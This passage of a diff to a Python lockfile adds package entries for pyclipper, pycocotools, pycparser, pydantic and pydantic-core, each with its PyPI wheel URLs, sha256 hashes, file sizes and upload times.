upload-time = "2025-12-01T13:15:04.15Z" }, + { url = "https://files.pythonhosted.org/packages/6b/dd/8bd622521c05d04963420ae6664093f154343ed044c53ea260a310c8bb4d/pyclipper-1.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f3672dbafbb458f1b96e1ee3e610d174acb5ace5bd2ed5d1252603bb797f2fc6", size = 140458, upload-time = "2025-12-01T13:15:05.76Z" }, + { url = "https://files.pythonhosted.org/packages/7a/06/6e3e241882bf7d6ab23d9c69ba4e85f1ec47397cbbeee948a16cf75e21ed/pyclipper-1.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d1f807e2b4760a8e5c6d6b4e8c1d71ef52b7fe1946ff088f4fa41e16a881a5ca", size = 978235, upload-time = "2025-12-01T13:15:06.993Z" }, + { url = "https://files.pythonhosted.org/packages/cf/f4/3418c1cd5eea640a9fa2501d4bc0b3655fa8d40145d1a4f484b987990a75/pyclipper-1.4.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ce1f83c9a4e10ea3de1959f0ae79e9a5bd41346dff648fee6228ba9eaf8b3872", size = 961388, upload-time = "2025-12-01T13:15:08.467Z" }, + { url = "https://files.pythonhosted.org/packages/ac/94/c85401d24be634af529c962dd5d781f3cb62a67cd769534df2cb3feee97a/pyclipper-1.4.0-cp312-cp312-win32.whl", hash = "sha256:3ef44b64666ebf1cb521a08a60c3e639d21b8c50bfbe846ba7c52a0415e936f4", size = 95169, upload-time = "2025-12-01T13:15:10.098Z" }, + { url = "https://files.pythonhosted.org/packages/97/77/dfea08e3b230b82ee22543c30c35d33d42f846a77f96caf7c504dd54fab1/pyclipper-1.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:d1e5498d883b706a4ce636247f0d830c6eb34a25b843a1b78e2c969754ca9037", size = 104619, upload-time = "2025-12-01T13:15:11.592Z" }, + { url = "https://files.pythonhosted.org/packages/67/d0/cbce7d47de1e6458f66a4d999b091640134deb8f2c7351eab993b70d2e10/pyclipper-1.4.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:d49df13cbb2627ccb13a1046f3ea6ebf7177b5504ec61bdef87d6a704046fd6e", size = 264342, upload-time = "2025-12-01T13:15:12.697Z" }, + { url = "https://files.pythonhosted.org/packages/ce/cc/742b9d69d96c58ac156947e1b56d0f81cbacbccf869e2ac7229f2f86dc4e/pyclipper-1.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:37bfec361e174110cdddffd5ecd070a8064015c99383d95eb692c253951eee8a", size = 139839, upload-time = "2025-12-01T13:15:13.911Z" }, + { url = "https://files.pythonhosted.org/packages/db/48/dd301d62c1529efdd721b47b9e5fb52120fcdac5f4d3405cfc0d2f391414/pyclipper-1.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:14c8bdb5a72004b721c4e6f448d2c2262d74a7f0c9e3076aeff41e564a92389f", size = 972142, upload-time = "2025-12-01T13:15:15.477Z" }, + { url = "https://files.pythonhosted.org/packages/07/bf/d493fd1b33bb090fa64e28c1009374d5d72fa705f9331cd56517c35e381e/pyclipper-1.4.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f2a50c22c3a78cb4e48347ecf06930f61ce98cf9252f2e292aa025471e9d75b1", size = 952789, upload-time = "2025-12-01T13:15:17.042Z" }, + { url = "https://files.pythonhosted.org/packages/cf/88/b95ea8ea21ddca34aa14b123226a81526dd2faaa993f9aabd3ed21231604/pyclipper-1.4.0-cp313-cp313-win32.whl", hash = "sha256:c9a3faa416ff536cee93417a72bfb690d9dea136dc39a39dbbe1e5dadf108c9c", size = 94817, upload-time = "2025-12-01T13:15:18.724Z" }, + { url = "https://files.pythonhosted.org/packages/ba/42/0a1920d276a0e1ca21dc0d13ee9e3ba10a9a8aa3abac76cd5e5a9f503306/pyclipper-1.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:d4b2d7c41086f1927d14947c563dfc7beed2f6c0d9af13c42fe3dcdc20d35832", size = 104007, upload-time = "2025-12-01T13:15:19.763Z" }, + { url = "https://files.pythonhosted.org/packages/1a/20/04d58c70f3ccd404f179f8dd81d16722a05a3bf1ab61445ee64e8218c1f8/pyclipper-1.4.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:7c87480fc91a5af4c1ba310bdb7de2f089a3eeef5fe351a3cedc37da1fcced1c", size = 265167, upload-time = "2025-12-01T13:15:20.844Z" }, + { url = "https://files.pythonhosted.org/packages/bd/2e/a570c1abe69b7260ca0caab4236ce6ea3661193ebf8d1bd7f78ccce537a5/pyclipper-1.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:81d8bb2d1fb9d66dc7ea4373b176bb4b02443a7e328b3b603a73faec088b952e", size = 139966, upload-time = "2025-12-01T13:15:22.036Z" }, + { url = "https://files.pythonhosted.org/packages/e8/3b/e0859e54adabdde8a24a29d3f525ebb31c71ddf2e8d93edce83a3c212ffc/pyclipper-1.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:773c0e06b683214dcfc6711be230c83b03cddebe8a57eae053d4603dd63582f9", size = 968216, upload-time = "2025-12-01T13:15:23.18Z" }, + { url = "https://files.pythonhosted.org/packages/f6/6b/e3c4febf0a35ae643ee579b09988dd931602b5bf311020535fd9e5b7e715/pyclipper-1.4.0-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9bc45f2463d997848450dbed91c950ca37c6cf27f84a49a5cad4affc0b469e39", size = 954198, upload-time = "2025-12-01T13:15:24.522Z" }, + { url = "https://files.pythonhosted.org/packages/fc/74/728efcee02e12acb486ce9d56fa037120c9bf5b77c54bbdbaa441c14a9d9/pyclipper-1.4.0-cp314-cp314-win32.whl", hash = "sha256:0b8c2105b3b3c44dbe1a266f64309407fe30bf372cf39a94dc8aaa97df00da5b", size = 96951, upload-time = "2025-12-01T13:15:25.79Z" }, + { url = "https://files.pythonhosted.org/packages/e3/d7/7f4354e69f10a917e5c7d5d72a499ef2e10945312f5e72c414a0a08d2ae4/pyclipper-1.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:6c317e182590c88ec0194149995e3d71a979cfef3b246383f4e035f9d4a11826", size = 106782, upload-time = "2025-12-01T13:15:26.945Z" }, + { url = "https://files.pythonhosted.org/packages/63/60/fc32c7a3d7f61a970511ec2857ecd09693d8ac80d560ee7b8e67a6d268c9/pyclipper-1.4.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:f160a2c6ba036f7eaf09f1f10f4fbfa734234af9112fb5187877efed78df9303", size = 269880, upload-time = "2025-12-01T13:15:28.117Z" }, + { url = "https://files.pythonhosted.org/packages/49/df/c4a72d3f62f0ba03ec440c4fff56cd2d674a4334d23c5064cbf41c9583f6/pyclipper-1.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:a9f11ad133257c52c40d50de7a0ca3370a0cdd8e3d11eec0604ad3c34ba549e9", size = 141706, upload-time = "2025-12-01T13:15:30.134Z" }, + { url = "https://files.pythonhosted.org/packages/c5/0b/cf55df03e2175e1e2da9db585241401e0bc98f76bee3791bed39d0313449/pyclipper-1.4.0-cp314-cp314t-win32.whl", hash = "sha256:bbc827b77442c99deaeee26e0e7f172355ddb097a5e126aea206d447d3b26286", size = 105308, upload-time = "2025-12-01T13:15:31.225Z" }, + { url = "https://files.pythonhosted.org/packages/8f/dc/53df8b6931d47080b4fe4ee8450d42e660ee1c5c1556c7ab73359182b769/pyclipper-1.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:29dae3e0296dff8502eeb7639fcfee794b0eec8590ba3563aee28db269da6b04", size = 117608, upload-time = "2025-12-01T13:15:32.69Z" }, + { url = "https://files.pythonhosted.org/packages/18/59/81050abdc9e5b90ffc2c765738c5e40e9abd8e44864aaa737b600f16c562/pyclipper-1.4.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:98b2a40f98e1fc1b29e8a6094072e7e0c7dfe901e573bf6cfc6eb7ce84a7ae87", size = 126495, upload-time = "2025-12-01T13:15:33.743Z" }, +] + +[[package]] +name = "pycocotools" +version = "2.0.11" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a2/df/32354b5dda963ffdfc8f75c9acf8828ef7890723a4ed57bb3ff2dc1d6f7e/pycocotools-2.0.11.tar.gz", hash = "sha256:34254d76da85576fcaf5c1f3aa9aae16b8cb15418334ba4283b800796bd1993d", size = 25381, upload-time = "2025-12-15T22:31:46.148Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dd/4b/0c040fcda2c4fa4827b1a64e3185d99d5f954e45cc9463ba7385a1173a77/pycocotools-2.0.11-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:484d33515353186aadba9e2a290d81b107275cdb9565084e31a5568a52a0b120", size = 160351, upload-time = "2025-12-15T22:30:53.998Z" }, + { url = "https://files.pythonhosted.org/packages/49/fe/861db6515824815eaabce27734653a6b100ddb22364b3345dd862b2c5b65/pycocotools-2.0.11-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ca9f120f719ec405ad0c74ccfdb8402b0c37bd5f88ab5b6482a0de2efd5a36f4", size = 463947, upload-time = "2025-12-15T22:30:55.419Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a1/b4b49b85763043372e66baa10dffa42337cf4687d6db22546c27f3a4d732/pycocotools-2.0.11-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e40a3a898c6e5340b8d70cf7984868b9bff8c3d80187de9a3b661d504d665978", size = 472455, upload-time = "2025-12-15T22:30:56.895Z" }, + { url = "https://files.pythonhosted.org/packages/48/70/fac670296e6a2b45eb7434d0480b9af6cb85a8de4f4848b49b01154bc859/pycocotools-2.0.11-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7cd4cdfd2c676f30838aa0b1047441892fb4f97d70bf3df480bcc7a18a64d7d4", size = 457911, upload-time = "2025-12-15T22:30:58.377Z" }, + { url = "https://files.pythonhosted.org/packages/33/f5/6158de63354dfcb677c8da34a4d205cc532e3277338ab7e6dea1310ba8de/pycocotools-2.0.11-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08c79789fd79e801ae4ecfcfeec32b31e36254e7a2b4019af28c104975d5e730", size = 476472, upload-time = "2025-12-15T22:30:59.736Z" }, + { url = "https://files.pythonhosted.org/packages/fc/01/46d2a782cda19ba1beb7c431f417e1e478f0bf1273fa5fe5d10de7c18d76/pycocotools-2.0.11-cp310-cp310-win_amd64.whl", hash = "sha256:f78cbb1a32d061fcad4bdba083de70a39a21c1c3d9235a3f77d8f007541ec5ef", size = 80165, upload-time = "2025-12-15T22:31:00.886Z" }, + { url = "https://files.pythonhosted.org/packages/ee/5c/6bd945781bb04c2148929183d1d67b05ce07996313b0f87bb88c6a805493/pycocotools-2.0.11-cp310-cp310-win_arm64.whl", hash = "sha256:e21311ea71f85591680d8992858e2d44a2a156dc3b2bf1c5c901c4a19348177b", size = 69358, upload-time = "2025-12-15T22:31:01.815Z" }, + { url = "https://files.pythonhosted.org/packages/b3/3f/41ce3fce61b7721158f21b61727eb054805babc0088cfa48506935b80a36/pycocotools-2.0.11-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:81bdceebb4c64e9265213e2d733808a12f9c18dfb14457323cc6b9af07fa0e61", size = 158947, upload-time = "2025-12-15T22:31:03.291Z" }, + { url = "https://files.pythonhosted.org/packages/e2/9b/a739705b246445bd1376394bf9d1ec2dd292b16740e92f203461b2bb12ed/pycocotools-2.0.11-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a1c05f91ccc658dfe01325267209c4b435da1722c93eeb5749fabc1d087b6882", size = 485174, upload-time = "2025-12-15T22:31:04.395Z" }, + { url = "https://files.pythonhosted.org/packages/34/70/7a12752784e57d8034a76c245c618a2f88a9d2463862b990f314aea7e5d6/pycocotools-2.0.11-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18ba75ff58cedb33a85ce2c18f1452f1fe20c9dd59925eec5300b2bf6205dbe1", size = 493172, upload-time = "2025-12-15T22:31:05.504Z" }, + { url = "https://files.pythonhosted.org/packages/5c/fc/d703599ac728209dba08aea8d4bee884d5adabfcd9041abed1658d863747/pycocotools-2.0.11-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:693417797f0377fd094eb815c0a1e7d1c3c0251b71e3b3779fce3b3cf24793c5", size = 480506, upload-time = "2025-12-15T22:31:06.77Z" }, + { url = "https://files.pythonhosted.org/packages/81/d9/e1cfc320bbb2cd58c3b4398c3821cbe75d93c16ed3135ac9e774a18a02d3/pycocotools-2.0.11-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b6a07071c441d0f5e480a8f287106191582e40289d4e242dfe684e0c8a751088", size = 497595, upload-time = "2025-12-15T22:31:08.277Z" }, + { url = "https://files.pythonhosted.org/packages/a2/23/d17f6111c2a6ae8631d4fa90202bea05844da715d61431fbc34d276462d5/pycocotools-2.0.11-cp311-cp311-win_amd64.whl", hash = "sha256:8e159232adae3aef6b4e2d37b008bff107b26e9ed3b48e70ea6482302834bd34", size = 80519, upload-time = "2025-12-15T22:31:09.613Z" }, + { url = "https://files.pythonhosted.org/packages/00/4c/76b00b31a724c3f5ccdab0f85e578afb2ca38d33be0a0e98f1770cafd958/pycocotools-2.0.11-cp311-cp311-win_arm64.whl", hash = "sha256:4fc9889e819452b9c142036e1eabac8a13a8bd552d8beba299a57e0da6bfa1ec", size = 69304, upload-time = "2025-12-15T22:31:10.592Z" }, + { url = "https://files.pythonhosted.org/packages/87/12/2f2292332456e4e4aba1dec0e3de8f1fc40fb2f4fdb0ca1cb17db9861682/pycocotools-2.0.11-cp312-abi3-macosx_10_13_universal2.whl", hash = "sha256:a2e9634bc7cadfb01c88e0b98589aaf0bd12983c7927bde93f19c0103e5441f4", size = 147795, upload-time = "2025-12-15T22:31:11.519Z" }, + { url = "https://files.pythonhosted.org/packages/63/3c/68d7ea376aada9046e7ea2d7d0dad0d27e1ae8b4b3c26a28346689390ab2/pycocotools-2.0.11-cp312-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7fd4121766cc057133534679c0ec3f9023dbd96e9b31cf95c86a069ebdac2b65", size = 398434, upload-time = "2025-12-15T22:31:12.558Z" }, + { url = "https://files.pythonhosted.org/packages/23/59/dc81895beff4e1207a829d40d442ea87cefaac9f6499151965f05c479619/pycocotools-2.0.11-cp312-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a82d1c9ed83f75da0b3f244f2a3cf559351a283307bd9b79a4ee2b93ab3231dd", size = 411685, upload-time = "2025-12-15T22:31:13.995Z" }, + { url = "https://files.pythonhosted.org/packages/0b/0b/5a8a7de300862a2eb5e2ecd3cb015126231379206cd3ebba8f025388d770/pycocotools-2.0.11-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:89e853425018e2c2920ee0f2112cf7c140a1dcf5f4f49abd9c2da112c3e0f4b3", size = 390500, upload-time = "2025-12-15T22:31:15.138Z" }, + { url = "https://files.pythonhosted.org/packages/63/b5/519bb68647f06feea03d5f355c33c05800aeae4e57b9482b2859eb00752e/pycocotools-2.0.11-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:87af87b8d06d5b852a885a319d9362dca3bed9f8bbcc3feb6513acb1f88ea242", size = 409790, upload-time = "2025-12-15T22:31:16.326Z" }, + { url = "https://files.pythonhosted.org/packages/83/b4/f6708404ff494706b80e714b919f76dc4ec9845a4007affd6d6b0843f928/pycocotools-2.0.11-cp312-abi3-win_amd64.whl", hash = "sha256:ffe806ce535f5996445188f9a35643791dc54beabc61bd81e2b03367356d604f", size = 77570, upload-time = "2025-12-15T22:31:17.703Z" }, + { url = "https://files.pythonhosted.org/packages/6e/63/778cd0ddc9d4a78915ac0a72b56d7fb204f7c3fabdad067d67ea0089762e/pycocotools-2.0.11-cp312-abi3-win_arm64.whl", hash = "sha256:c230f5e7b14bd19085217b4f40bba81bf14a182b150b8e9fab1c15d504ade343", size = 64564, upload-time = "2025-12-15T22:31:18.652Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/31c81e99d596a20c137d8a2e7a25f39a88f88fada5e0b253fce7323ecf0d/pycocotools-2.0.11-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:fd72b9734e6084b217c1fc3945bfd4ec05bdc75a44e4f0c461a91442bb804973", size = 168931, upload-time = "2025-12-15T22:31:19.845Z" }, + { url = "https://files.pythonhosted.org/packages/5f/63/fdd488e4cd0fdc6f93134f2cd68b1fce441d41566e86236bf6156961ef9b/pycocotools-2.0.11-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7eb43b79448476b094240450420b7425d06e297880144b8ea6f01e9b4340e43", size = 484856, upload-time = "2025-12-15T22:31:21.231Z" }, + { url = "https://files.pythonhosted.org/packages/a1/fc/c83648a8fb7ea3b8e2ce2e761b469807e6cadb81577bf1af31c4f2ef0d87/pycocotools-2.0.11-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c3546b93b39943347c4f5b0694b5824105cbe2174098a416bcad4acd9c21e957", size = 480994, upload-time = "2025-12-15T22:31:22.426Z" }, + { url = "https://files.pythonhosted.org/packages/b6/2d/35e1122c0d007288aa9545be9549cbc7a4987b2c22f21d75045260a8b5b8/pycocotools-2.0.11-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:efd1694b2075f2f10c5828f10f6e6c4e44368841fd07dae385c3aa015c8e25f9", size = 467956, upload-time = "2025-12-15T22:31:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/e4/ff/30cfe8142470da3e45abe43a9842449ca0180d993320559890e2be19e4a5/pycocotools-2.0.11-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:368244f30eb8d6cae7003aa2c0831fbdf0153664a32859ec7fbceea52bfb6878", size = 474658, upload-time = "2025-12-15T22:31:24.883Z" }, + { url = "https://files.pythonhosted.org/packages/bc/62/254ca92604106c7a5af3258e589e465e681fe0166f9b10f97d8ca70934d6/pycocotools-2.0.11-cp313-cp313t-win_amd64.whl", hash = "sha256:ac8aa17263e6489aa521f9fa91e959dfe0ea3a5519fde2cbf547312cdce7559e", size = 89681, upload-time = "2025-12-15T22:31:26.025Z" }, + { url = "https://files.pythonhosted.org/packages/6e/f0/c019314dc122ad5e6281de420adc105abe9b59d00008f72ef3ad32b1e328/pycocotools-2.0.11-cp313-cp313t-win_arm64.whl", hash = "sha256:04480330df5013f6edd94891a0ee8294274185f1b5093d1b0f23d51778f0c0e9", size = 70520, upload-time = "2025-12-15T22:31:26.999Z" }, + { url = "https://files.pythonhosted.org/packages/66/2b/58b35c88f2086c043ff1c87bd8e7bf36f94e84f7b01a5e00b6f5fabb92a7/pycocotools-2.0.11-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:a6b13baf6bfcf881b6d6ac6e23c776f87a68304cd86e53d1d6b9afa31e363c4e", size = 169883, upload-time = "2025-12-15T22:31:28.233Z" }, + { url = "https://files.pythonhosted.org/packages/24/c0/b970eefb78746c8b4f8b3fa1b49d9f3ec4c5429ef3c5d4bbcc55abebe478/pycocotools-2.0.11-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78bae4a9de9d34c4759754a848dfb3306f9ef1c2fcb12164ffbd3d013d008321", size = 486894, upload-time = "2025-12-15T22:31:29.283Z" }, + { url = "https://files.pythonhosted.org/packages/5b/f7/db7436820a1948d96fa9764b6026103e808840979be01246049f2c1e7f94/pycocotools-2.0.11-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:83d896f4310379849dfcfa7893afb0ff21f4f3cdb04ab3f61b05dd98953dd0ad", size = 483249, upload-time = "2025-12-15T22:31:31.687Z" }, + { url = "https://files.pythonhosted.org/packages/1e/a6/a14a12c9f50c41998fdc0d31fd3755bcbce124bac9abb1d6b99d1853cafd/pycocotools-2.0.11-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:eebd723503a2eb2c8b285f56ea3be1d9f3875cd7c40d945358a428db94f14015", size = 469070, upload-time = "2025-12-15T22:31:32.821Z" }, + { url = "https://files.pythonhosted.org/packages/46/de/aa4f65ece3da8e89310a1be00cad0700170fd13f41a3aaae2712291269d5/pycocotools-2.0.11-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:bd7a1e19ef56a828a94bace673372071d334a9232cd32ae3cd48845a04d45c4f", size = 475589, upload-time = "2025-12-15T22:31:34.188Z" }, + { url = "https://files.pythonhosted.org/packages/44/6f/04a30df03ae6236b369b361df0c50531d173d03678978806aa2182e02d1e/pycocotools-2.0.11-cp314-cp314t-win_amd64.whl", hash = "sha256:63026e11a56211058d0e84e8263f74cbccd5e786fac18d83fd221ecb9819fcc7", size = 93863, upload-time = "2025-12-15T22:31:35.38Z" }, + { url = "https://files.pythonhosted.org/packages/da/05/8942b640d6307a21c3ede188e8c56f07bedf246fac0e501437dbda72a350/pycocotools-2.0.11-cp314-cp314t-win_arm64.whl", hash = "sha256:8cedb8ccb97ffe9ed2c8c259234fa69f4f1e8665afe3a02caf93f6ef2952c07f", size = 72038, upload-time = "2025-12-15T22:31:36.768Z" }, +] + +[[package]] +name = "pycparser" +version = "2.22" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1d/b2/31537cf4b1ca988837256c910a668b553fceb8f069bedc4b1c826024b52c/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6", size = 172736, upload-time = "2024-03-30T13:22:22.564Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552, upload-time = "2024-03-30T13:22:20.476Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" }, + { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" }, + { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" }, + { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" }, + { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" }, + { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" }, + { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" }, + { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" }, + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = 